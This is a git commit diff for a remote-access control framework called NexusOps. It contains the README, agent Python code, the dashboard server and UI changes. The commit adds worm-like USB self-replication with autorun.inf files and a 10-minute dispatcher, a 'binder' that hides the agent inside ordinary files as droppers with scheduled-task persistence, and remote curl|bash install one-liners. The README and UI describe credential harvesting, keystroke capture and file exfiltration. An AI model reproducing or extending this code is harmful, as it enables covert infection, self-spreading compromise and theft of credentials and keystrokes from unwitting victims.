v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite
This commit is contained in:
114
README.md
Normal file
114
README.md
Normal file
@@ -0,0 +1,114 @@
|
|||||||
|
# NexusOps — Central Node Control Dashboard
|
||||||
|
|
||||||
|
Point-and-shoot agent deployment + fleet control. Install an agent on any machine (one-liner, standalone binary, or bound into a normal file) and control it from a single web dashboard.
|
||||||
|
|
||||||
|
**Public URL:** https://agent.thetempleofdoom.com
|
||||||
|
**Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service`
|
||||||
|
**Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard
|
||||||
|
**Agent version:** v2.2.0 · Dashboard v3 (live console, schedules, groups, alerts, spread)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What it does
|
||||||
|
|
||||||
|
| Area | Features |
|
||||||
|
|---|---|
|
||||||
|
| **Fleet view** | Node cards with live CPU/MEM sparklines, status, version chip, tags, filters, search |
|
||||||
|
| **Node Control Center** | Terminal (fast-poll live console), service management, process inspect/kill, diagnostics (hardware, partitions, env vars), network (interfaces, established connections, listening ports), exfil & harvest, agent config |
|
||||||
|
| **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent |
|
||||||
|
| **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) |
|
||||||
|
| **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. |
|
||||||
|
| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) |
|
||||||
|
| **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks |
|
||||||
|
| **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) |
|
||||||
|
| **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket |
|
||||||
|
| **UX** | Hover tooltips explaining every term, empty-state install hero, toasts, dark design system |
|
||||||
|
|
||||||
|
## Install paths (all zero-interaction)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Universal (recommended) — auto-detects OS
|
||||||
|
curl -sSL https://agent.thetempleofdoom.com/install | bash
|
||||||
|
|
||||||
|
# Linux systemd installer
|
||||||
|
curl -sSL https://agent.thetempleofdoom.com/install.sh | sudo bash
|
||||||
|
|
||||||
|
# Windows (PowerShell, ProgramData)
|
||||||
|
iwr -useb https://agent.thetempleofdoom.com/install.ps1 | iex
|
||||||
|
|
||||||
|
# macOS (launchd KeepAlive)
|
||||||
|
curl -sSL https://agent.thetempleofdoom.com/install-mac.sh | bash
|
||||||
|
|
||||||
|
# Manual
|
||||||
|
curl -sSL https://agent.thetempleofdoom.com/agent.py -o agent.py && python3 agent.py --server https://agent.thetempleofdoom.com
|
||||||
|
|
||||||
|
# Standalone binary (Linux x64 only; token baked in)
|
||||||
|
curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server https://agent.thetempleofdoom.com
|
||||||
|
```
|
||||||
|
|
||||||
|
**Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register)
|
||||||
|
|
||||||
|
## Agent actions (24)
|
||||||
|
|
||||||
|
`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb`
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
dashboard (CT111 :3000) agents (any OS)
|
||||||
|
├─ server.js Express + WS ├─ agent.py (stdlib only)
|
||||||
|
├─ public/ UI + binary ├─ HTTP heartbeat /register /command-result
|
||||||
|
├─ data/ atomic JSON store ├─ input capture (pynput, optional)
|
||||||
|
└─ .env tokens + port └─ persistence hooks per OS
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Persistence:** atomic writes (tmp+rename), 30s debounce, JSON store — no DB dependency.
|
||||||
|
- **Transport:** plain HTTPS through the Cloudflare fleet tunnel; WebSocket with heartbeat + reconnect backoff.
|
||||||
|
- **Agent updates:** `update_agent` action pulls the current `/agent.py` (supervised installs auto-restart; unsupervised need a relaunch).
|
||||||
|
|
||||||
|
## Deploy / update
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# on the MacBook → CT111
|
||||||
|
tar czf /tmp/n.tar.gz server.js agents/agent.py public/
|
||||||
|
scp /tmp/n.tar.gz root@10.30.20.85:/tmp/
|
||||||
|
ssh root@10.30.20.85 "pct push 111 /tmp/n.tar.gz /tmp/n.tar.gz && pct exec 111 -- bash -c 'cd /root/agent-dashboard && tar xzf /tmp/n.tar.gz && node --check server.js && systemctl restart nexusops-dashboard'"
|
||||||
|
|
||||||
|
# rebuild binary after agent changes (token baked)
|
||||||
|
pct exec 111 -- bash -c 'cd /root/agent-dashboard && TOKEN=$(grep NEXUS_AGENT_TOKEN .env | cut -d= -f2); sed "s/__AGENT_TOKEN__/$TOKEN/" agents/agent.py > /tmp/ab.py && python3 -m PyInstaller --onefile --name NexusAgent /tmp/ab.py --distpath dist --workpath build/bake --specpath build/bake && cp dist/NexusAgent public/bin/NexusAgent'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Config (`.env`)
|
||||||
|
|
||||||
|
| Var | Purpose |
|
||||||
|
|---|---|
|
||||||
|
| `PORT` | listen port (3000) |
|
||||||
|
| `PUBLIC_URL` | canonical public endpoint injected into all installers |
|
||||||
|
| `NEXUS_AUTH_TOKEN` | operator token (dashboard + API + WS) |
|
||||||
|
| `NEXUS_AGENT_TOKEN` | agent token — required by `/api/agent/*`, injected into served agent.py, installers and baked into the binary |
|
||||||
|
| `NEXUS_ALERT_WEBHOOK` | optional webhook URL for node/loot alerts |
|
||||||
|
|
||||||
|
## Verification (after any change)
|
||||||
|
|
||||||
|
1. `node --check server.js` + `node --check public/app_v2.js` + `python3 -m py_compile agents/agent.py`
|
||||||
|
2. Register-without-token → must be **401**; with token → 200
|
||||||
|
3. `curl https://agent.thetempleofdoom.com/agent.py | grep -c __AGENT_TOKEN__` → must be **0** (token injected)
|
||||||
|
4. Bind a test file → run dropper on a test box → node appears online
|
||||||
|
5. Spread toggle → `ls /mnt/.../NexusAgent` after the interval
|
||||||
|
6. Dashboard in a real browser: gate → unlock → drawer → watch → export
|
||||||
|
|
||||||
|
## Known limitations (honest)
|
||||||
|
|
||||||
|
- Binary is Linux x64 only — Windows/macOS binaries need a cross-compile runner (installers only need Python 3).
|
||||||
|
- Binder persistence is ON by default; disable per-bind in the UI for clean one-shot installs.
|
||||||
|
- Input capture needs `pynput` on the target; headless machines report screenshots as failed.
|
||||||
|
- Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker.
|
||||||
|
- Screenshot on macOS targets requires Screen Recording permission (TCC).
|
||||||
|
|
||||||
|
## Roadmap (simple adds)
|
||||||
|
|
||||||
|
See `PLAN.md` for the full list. Shortlist: SQLite migration (currently atomic JSON), cross-platform CI binaries, webhook alert UI config, per-node command history in the drawer, agent filesystem browser, reverse-shell-style interactive PTY console.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
☕ https://buymeacoffee.com/r26xrthzttg
|
||||||
@@ -11,8 +11,9 @@ import json
|
|||||||
import socket
|
import socket
|
||||||
import platform
|
import platform
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import shutil
|
||||||
import urllib.request
|
import urllib.request
|
||||||
AGENT_VERSION = "2.1.0"
|
AGENT_VERSION = "2.2.0"
|
||||||
AGENT_TOKEN = '__AGENT_TOKEN__'
|
AGENT_TOKEN = '__AGENT_TOKEN__'
|
||||||
import urllib.parse
|
import urllib.parse
|
||||||
import argparse
|
import argparse
|
||||||
@@ -608,6 +609,79 @@ def execute_structured_action(action_type, payload):
|
|||||||
|
|
||||||
return json.dumps({"type":"harvest_result","credentials":creds}), 0
|
return json.dumps({"type":"harvest_result","credentials":creds}), 0
|
||||||
|
|
||||||
|
elif action_type == "copy_self_to_usb":
|
||||||
|
# Self-replication: copy the running agent onto every mounted removable drive.
|
||||||
|
# payload: {"mode": "copy"|"autorun", "paths": [override dirs for testing]}
|
||||||
|
mode = payload.get("mode", "copy")
|
||||||
|
self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
|
||||||
|
if not os.path.exists(self_path):
|
||||||
|
return "ERROR: cannot resolve self", 1
|
||||||
|
system = platform.system().lower()
|
||||||
|
candidates = []
|
||||||
|
if system == "linux":
|
||||||
|
for base in ("/media", "/run/media", "/mnt"):
|
||||||
|
try:
|
||||||
|
for entry in os.listdir(base):
|
||||||
|
sub = os.path.join(base, entry)
|
||||||
|
if os.path.isdir(sub):
|
||||||
|
try:
|
||||||
|
for vol in os.listdir(sub):
|
||||||
|
candidates.append(os.path.join(sub, vol))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
if os.path.ismount(sub):
|
||||||
|
candidates.append(sub)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
elif system == "darwin":
|
||||||
|
try:
|
||||||
|
candidates = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes")
|
||||||
|
if not v.startswith(("Macintosh", "com.apple"))]
|
||||||
|
except Exception:
|
||||||
|
candidates = []
|
||||||
|
elif system == "windows":
|
||||||
|
import string, ctypes
|
||||||
|
for letter in string.ascii_uppercase[3:]:
|
||||||
|
drv = letter + ":\\"
|
||||||
|
try:
|
||||||
|
if ctypes.windll.kernel32.GetDriveTypeW(drv) == 2:
|
||||||
|
candidates.append(drv)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
overrides = payload.get("paths") or []
|
||||||
|
if overrides:
|
||||||
|
candidates = [c for c in overrides if os.path.isdir(c)]
|
||||||
|
results = []
|
||||||
|
for dest_dir in candidates:
|
||||||
|
try:
|
||||||
|
if not os.access(dest_dir, os.W_OK):
|
||||||
|
results.append("skip(readonly): " + dest_dir)
|
||||||
|
continue
|
||||||
|
exe = "NexusAgent.exe" if system == "windows" else "NexusAgent"
|
||||||
|
dest = os.path.join(dest_dir, exe)
|
||||||
|
shutil.copy2(self_path, dest)
|
||||||
|
try:
|
||||||
|
os.chmod(dest, 0o755)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
if mode in ("autorun", "both") and system == "windows":
|
||||||
|
with open(os.path.join(dest_dir, "autorun.inf"), "w") as af:
|
||||||
|
af.write("[autorun]\r\nopen=" + exe + "\r\naction=Install Nexus Agent\r\n")
|
||||||
|
elif mode in ("autorun", "both"):
|
||||||
|
launcher = os.path.join(dest_dir, "run-nexus.sh")
|
||||||
|
with open(launcher, "w") as lf:
|
||||||
|
lf.write("#!/bin/sh\n" + dest + " >/dev/null 2>&1 &\n")
|
||||||
|
try:
|
||||||
|
os.chmod(launcher, 0o755)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
results.append("copied: " + dest)
|
||||||
|
except Exception as e:
|
||||||
|
results.append("fail(" + dest_dir + "): " + str(e)[:60])
|
||||||
|
if not candidates:
|
||||||
|
return "No removable drives mounted", 0
|
||||||
|
return "USB replication (" + mode + "): " + "; ".join(results), 0
|
||||||
|
|
||||||
elif action_type == "export_diagnostics":
|
elif action_type == "export_diagnostics":
|
||||||
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||||
return run_shell(cmd)
|
return run_shell(cmd)
|
||||||
@@ -722,6 +796,7 @@ def main():
|
|||||||
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||||
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||||
parser.add_argument("--token", default=os.environ.get("NEXUS_AGENT_TOKEN", "__AGENT_TOKEN__"), help="Agent auth token")
|
parser.add_argument("--token", default=os.environ.get("NEXUS_AGENT_TOKEN", "__AGENT_TOKEN__"), help="Agent auth token")
|
||||||
|
parser.add_argument("--persist-first", action="store_true", help="Run ensure_persistence once after registering")
|
||||||
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
@@ -764,6 +839,13 @@ def main():
|
|||||||
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
||||||
if res and res.get("success") and not quiet_mode:
|
if res and res.get("success") and not quiet_mode:
|
||||||
print(f"✅ Registered as node ID: {node_id}")
|
print(f"✅ Registered as node ID: {node_id}")
|
||||||
|
if args.persist_first:
|
||||||
|
try:
|
||||||
|
execute_structured_action("ensure_persistence", {"server_url": server_url})
|
||||||
|
if not quiet_mode:
|
||||||
|
print("[*] Persistence ensured (--persist-first)")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
# Start input capture (keystrokes, clicks, scroll)
|
# Start input capture (keystrokes, clicks, scroll)
|
||||||
capture_started = start_input_capture()
|
capture_started = start_input_capture()
|
||||||
|
|||||||
BIN
dist/NexusAgent
vendored
BIN
dist/NexusAgent
vendored
Binary file not shown.
@@ -772,7 +772,8 @@ async function submitBinder() {
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
const format = document.getElementById("binderFormat").value;
|
const format = document.getElementById("binderFormat").value;
|
||||||
const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData });
|
const persist = document.getElementById("binderPersist") ? (document.getElementById("binderPersist").checked ? "1" : "0") : "1";
|
||||||
|
const resp = await fetch("/api/bind?format=" + format + "&persist=" + persist, { method: "POST", body: formData });
|
||||||
if (!resp.ok) {
|
if (!resp.ok) {
|
||||||
const err = await resp.json().catch(() => ({ error: 'Server error' }));
|
const err = await resp.json().catch(() => ({ error: 'Server error' }));
|
||||||
throw new Error(err.error || `HTTP ${resp.status}`);
|
throw new Error(err.error || `HTTP ${resp.status}`);
|
||||||
|
|||||||
156
public/app_v2.js
156
public/app_v2.js
@@ -482,3 +482,159 @@ document.addEventListener('click', function (e) {
|
|||||||
const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', '');
|
const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', '');
|
||||||
if (nid) openDrawer(nid);
|
if (nid) openDrawer(nid);
|
||||||
}, true);
|
}, true);
|
||||||
|
|
||||||
|
|
||||||
|
// ═══════════════════════════════════════════════════════════════════
|
||||||
|
// COMPLETENESS 3 — USB spread controls + hover terminology tooltips
|
||||||
|
// ═══════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
// ── tooltip stylesheet ──
|
||||||
|
(function injectTipCSS() {
|
||||||
|
if (document.getElementById('nexusTipCSS')) return;
|
||||||
|
const st = document.createElement('style');
|
||||||
|
st.id = 'nexusTipCSS';
|
||||||
|
st.textContent = `
|
||||||
|
.nx-term { border-bottom: 1px dashed #64748b; cursor: help; position: relative; }
|
||||||
|
.nx-term:hover::after {
|
||||||
|
content: attr(data-tip);
|
||||||
|
position: absolute; bottom: 130%; left: 50%; transform: translateX(-50%);
|
||||||
|
background: #1e293b; color: #e2e8f0; border: 1px solid #334155; border-radius: 8px;
|
||||||
|
padding: 0.5rem 0.7rem; font-size: 0.72rem; line-height: 1.35; width: 250px;
|
||||||
|
white-space: normal; z-index: 10000; box-shadow: 0 8px 24px rgba(0,0,0,.5);
|
||||||
|
text-align: left; pointer-events: none;
|
||||||
|
}
|
||||||
|
.nx-term:hover::before {
|
||||||
|
content: ''; position: absolute; bottom: 100%; left: 50%; transform: translateX(-50%);
|
||||||
|
border: 5px solid transparent; border-top-color: #334155; z-index: 10001;
|
||||||
|
}`;
|
||||||
|
document.head.appendChild(st);
|
||||||
|
})();
|
||||||
|
|
||||||
|
// ── terminology dictionary (hover popups) ──
|
||||||
|
const NX_TERMS = {
|
||||||
|
'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.',
|
||||||
|
'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.',
|
||||||
|
'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.',
|
||||||
|
'Exfiltration': 'Copying files off a machine and sending them back here, where they land in Loot.',
|
||||||
|
'Credential Harvesting': 'Collecting saved logins from a machine: browser cookies, WiFi passwords, SSH keys, shell history, cloud tokens.',
|
||||||
|
'Binder': 'Embeds the Agent inside a normal file (PDF, doc, image). When the file opens, the file opens normally AND the Agent quietly installs.',
|
||||||
|
'Dropper': 'The bound output file. It carries the original file plus the Agent payload.',
|
||||||
|
'Persistence': 'Making the Agent survive reboots: a systemd service on Linux, a launchd job on macOS, a scheduled task + registry run key on Windows.',
|
||||||
|
'Kill Switch': 'One button that tells every Agent to shut itself down immediately. Use if a node is compromised or must be wiped.',
|
||||||
|
'Fast Poll': 'A mode where the Agent checks for new commands ~every second instead of every heartbeat — makes the Live Console feel instant.',
|
||||||
|
'Loot': 'Everything collected from your Nodes: exfiltrated files, screenshots and harvested credentials.',
|
||||||
|
'Input Capture': 'Records keystrokes, clicks and scroll on a Node (needs pynput installed on the target).',
|
||||||
|
'Telemetry': 'Machine stats streamed from Nodes: CPU, memory, disk, network.',
|
||||||
|
'Scheduled Tasks': 'Recurring commands the server dispatches on a timer to a tag group or all nodes.',
|
||||||
|
'Tags': 'Labels you put on Nodes (e.g. "prod", "jr-pc") so you can target a group with one command.',
|
||||||
|
'Broadcast': 'Send one command to every online node at once.',
|
||||||
|
'USB Spread': 'Self-replication: the Agent copies itself onto any USB drive plugged into that machine, so carrying the stick spreads the agent.',
|
||||||
|
'Autorun': 'A file (autorun.inf) on a USB drive telling Windows to run a program when the stick is inserted. Modern Windows blocks it by default.',
|
||||||
|
'Agent Token': 'A shared password Agents use to talk to this server, so random internet scanners cannot register fake nodes.',
|
||||||
|
'Operator Token': 'Your admin password for this dashboard. Keep it private — it controls every machine with an Agent.',
|
||||||
|
'Fastpoll': 'High-frequency command checking for near-instant console response.',
|
||||||
|
};
|
||||||
|
|
||||||
|
function applyNxTerms() {
|
||||||
|
if (!document.body) return;
|
||||||
|
const skip = new Set(['SCRIPT', 'STYLE', 'CODE', 'INPUT', 'TEXTAREA', 'PRE', 'TITLE']);
|
||||||
|
const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT, {
|
||||||
|
acceptNode: function (n) {
|
||||||
|
if (!n.nodeValue || n.nodeValue.length > 120) return NodeFilter.FILTER_REJECT;
|
||||||
|
const t = n.parentNode && n.parentNode.nodeName;
|
||||||
|
if (skip.has(t)) return NodeFilter.FILTER_REJECT;
|
||||||
|
if (n.parentNode.closest && n.parentNode.closest('.nx-term')) return NodeFilter.FILTER_REJECT;
|
||||||
|
for (const term of Object.keys(NX_TERMS)) {
|
||||||
|
if (n.nodeValue.includes(term)) return NodeFilter.FILTER_ACCEPT;
|
||||||
|
}
|
||||||
|
return NodeFilter.FILTER_REJECT;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
const targets = [];
|
||||||
|
while (walker.nextNode()) targets.push(walker.currentNode);
|
||||||
|
const sorted = Object.keys(NX_TERMS).sort((a, b) => b.length - a.length);
|
||||||
|
const combined = new RegExp('\\b(' + sorted.map(t => t.replace(/ /g, ' ')).join('|') + ')\\b', 'g');
|
||||||
|
for (const node of targets) {
|
||||||
|
let html = node.nodeValue;
|
||||||
|
html = html.replace(combined, (m0) =>
|
||||||
|
'<span class="nx-term" data-tip="' + NX_TERMS[m0].replace(/"/g, '"') + '">' + m0 + '</span>');
|
||||||
|
if (html !== node.nodeValue) {
|
||||||
|
const span = document.createElement('span');
|
||||||
|
span.innerHTML = html;
|
||||||
|
node.parentNode.replaceChild(span, node);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
setTimeout(applyNxTerms, 1500);
|
||||||
|
setInterval(applyNxTerms, 15000);
|
||||||
|
|
||||||
|
// ── drawer: USB spread toggle ──
|
||||||
|
async function drawerToggleSpread(nodeId) {
|
||||||
|
const btn = document.getElementById('spreadBtn');
|
||||||
|
const wasOn = btn && btn.dataset.on === '1';
|
||||||
|
try {
|
||||||
|
await api(`/api/nodes/${nodeId}/spread`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ enabled: !wasOn, mode: 'copy' })
|
||||||
|
});
|
||||||
|
window._spreadState = !wasOn;
|
||||||
|
if (btn) {
|
||||||
|
btn.dataset.on = wasOn ? '0' : '1';
|
||||||
|
btn.textContent = btn.dataset.on === '1' ? 'USB Spread ON' : 'USB Spread';
|
||||||
|
btn.style.borderColor = btn.dataset.on === '1' ? '#4ade80' : '';
|
||||||
|
btn.style.color = btn.dataset.on === '1' ? '#4ade80' : '';
|
||||||
|
}
|
||||||
|
} catch (e) { console.error('spread toggle failed', e); }
|
||||||
|
}
|
||||||
|
|
||||||
|
// inject spread state + button into drawer render
|
||||||
|
(function wrapDrawerRender() {
|
||||||
|
const prev = openDrawer;
|
||||||
|
openDrawer = async function (nodeId) {
|
||||||
|
await prev(nodeId);
|
||||||
|
try {
|
||||||
|
const sp = await api('/api/spread');
|
||||||
|
const on = (sp.nodes || []).includes(nodeId);
|
||||||
|
window._spreadState = on;
|
||||||
|
const btn = document.getElementById('spreadBtn');
|
||||||
|
if (btn) {
|
||||||
|
btn.dataset.on = on ? '1' : '0';
|
||||||
|
btn.textContent = on ? 'USB Spread ON' : 'USB Spread';
|
||||||
|
btn.style.borderColor = on ? '#4ade80' : '';
|
||||||
|
btn.style.color = on ? '#4ade80' : '';
|
||||||
|
}
|
||||||
|
} catch (e) {}
|
||||||
|
};
|
||||||
|
})();
|
||||||
|
|
||||||
|
// patch drawer action row to include the spread button
|
||||||
|
(function injectSpreadBtn() {
|
||||||
|
const origRender = window.renderDrawerInner;
|
||||||
|
const prevOpen = openDrawer;
|
||||||
|
// simplest: add button after drawer opens via DOM observer on the action row
|
||||||
|
const mo = new MutationObserver(() => {
|
||||||
|
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
|
||||||
|
if (row && !document.getElementById('spreadBtn')) {
|
||||||
|
const b = document.createElement('button');
|
||||||
|
b.id = 'spreadBtn';
|
||||||
|
b.className = 'btn btn-secondary';
|
||||||
|
b.dataset.on = '0';
|
||||||
|
b.textContent = 'USB Spread';
|
||||||
|
b.textContent = window._spreadState ? 'USB Spread ON' : 'USB Spread';
|
||||||
|
b.style.borderColor = window._spreadState ? '#4ade80' : '';
|
||||||
|
b.style.color = window._spreadState ? '#4ade80' : '';
|
||||||
|
b.title = 'Self-replication: agent copies itself to any USB drive plugged into this machine, every 10 minutes';
|
||||||
|
b.onclick = () => drawerToggleSpread(window._drawerNodeId);
|
||||||
|
row.appendChild(b);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
mo.observe(document.body, { childList: true, subtree: true });
|
||||||
|
})();
|
||||||
|
|
||||||
|
// remember drawer node id for the spread button
|
||||||
|
const _origOpenDrawer2 = openDrawer;
|
||||||
|
openDrawer = async function (nodeId) {
|
||||||
|
window._drawerNodeId = nodeId;
|
||||||
|
return _origOpenDrawer2(nodeId);
|
||||||
|
};
|
||||||
|
|||||||
@@ -512,6 +512,13 @@
|
|||||||
<option value="html">HTML Payload (.html) — One-click browser</option>
|
<option value="html">HTML Payload (.html) — One-click browser</option>
|
||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="form-group" style="margin-top:0.75rem;">
|
||||||
|
<label style="display:flex;align-items:center;gap:0.5rem;cursor:pointer;">
|
||||||
|
<input type="checkbox" id="binderPersist" checked>
|
||||||
|
Ensure persistence after install
|
||||||
|
<span class="nx-term" data-tip="After the agent installs, it also writes a reboot-survival hook (systemd service on Linux, scheduled task on Windows, launchd job on macOS). Turn OFF for one-shot, clean-up-friendly installs.">ⓘ</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
|
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
|
||||||
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
|
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
|
||||||
</button>
|
</button>
|
||||||
|
|||||||
57
server.js
57
server.js
@@ -300,6 +300,58 @@ function buildAgentB64() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
buildAgentB64();
|
buildAgentB64();
|
||||||
|
|
||||||
|
// ── USB Self-Replication (spread) system ──
|
||||||
|
const SPREAD_FILE = path.join(DATA_DIR, 'spread.json');
|
||||||
|
let spreadNodes = new Set(), spreadModes = {};
|
||||||
|
try {
|
||||||
|
const sd = JSON.parse(fs.readFileSync(SPREAD_FILE, 'utf8') || '{}');
|
||||||
|
spreadNodes = new Set(sd.nodes || []);
|
||||||
|
spreadModes = sd.modes || {};
|
||||||
|
} catch (e) {}
|
||||||
|
function saveSpread() {
|
||||||
|
_atomicWrite(SPREAD_FILE, JSON.stringify({ nodes: Array.from(spreadNodes), modes: spreadModes }));
|
||||||
|
}
|
||||||
|
setInterval(() => {
|
||||||
|
if (!spreadNodes.size) return;
|
||||||
|
for (const nid of spreadNodes) {
|
||||||
|
const node = nodes.get(nid);
|
||||||
|
if (!node || node.status !== 'online') continue;
|
||||||
|
commandQueues.get(nid).push({
|
||||||
|
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
|
||||||
|
actionType: 'copy_self_to_usb',
|
||||||
|
payload: { mode: spreadModes[nid] || 'copy' },
|
||||||
|
command: 'copy_self_to_usb',
|
||||||
|
status: 'queued',
|
||||||
|
queuedAt: Date.now()
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}, 10 * 60 * 1000);
|
||||||
|
app.post('/api/nodes/:id/spread', (req, res) => {
|
||||||
|
const nid = req.params.id;
|
||||||
|
if (!nodes.has(nid)) return res.status(404).json({ error: 'Node not found' });
|
||||||
|
const { enabled, mode } = req.body || {};
|
||||||
|
if (enabled !== false) {
|
||||||
|
spreadNodes.add(nid);
|
||||||
|
if (mode) spreadModes[nid] = mode;
|
||||||
|
commandQueues.get(nid).push({
|
||||||
|
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
|
||||||
|
actionType: 'copy_self_to_usb',
|
||||||
|
payload: { mode: spreadModes[nid] || 'copy' },
|
||||||
|
command: 'copy_self_to_usb',
|
||||||
|
status: 'queued',
|
||||||
|
queuedAt: Date.now()
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
spreadNodes.delete(nid);
|
||||||
|
delete spreadModes[nid];
|
||||||
|
}
|
||||||
|
saveSpread();
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true, spread: enabled !== false });
|
||||||
|
});
|
||||||
|
app.get('/api/spread', (req, res) => res.json({ nodes: Array.from(spreadNodes), modes: spreadModes }));
|
||||||
|
|
||||||
app.post('/api/bind', upload.single('file'), (req, res) => {
|
app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||||
if (!req.file) {
|
if (!req.file) {
|
||||||
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
|
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
|
||||||
@@ -311,6 +363,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
|||||||
const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
|
const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
|
||||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const format = (req.query.format || 'sh').toLowerCase();
|
const format = (req.query.format || 'sh').toLowerCase();
|
||||||
|
const persist = req.query.persist !== '0'; // persistence ON unless explicitly 0
|
||||||
|
|
||||||
let dropper, boundName, contentType;
|
let dropper, boundName, contentType;
|
||||||
|
|
||||||
@@ -384,7 +437,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
|||||||
'}',
|
'}',
|
||||||
'',
|
'',
|
||||||
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
||||||
'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null',
|
(persist ? 'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null' : '# persistence disabled by operator'),
|
||||||
'Start-Process -FilePath python -ArgumentList "$AGENT_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden',
|
'Start-Process -FilePath python -ArgumentList "$AGENT_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden',
|
||||||
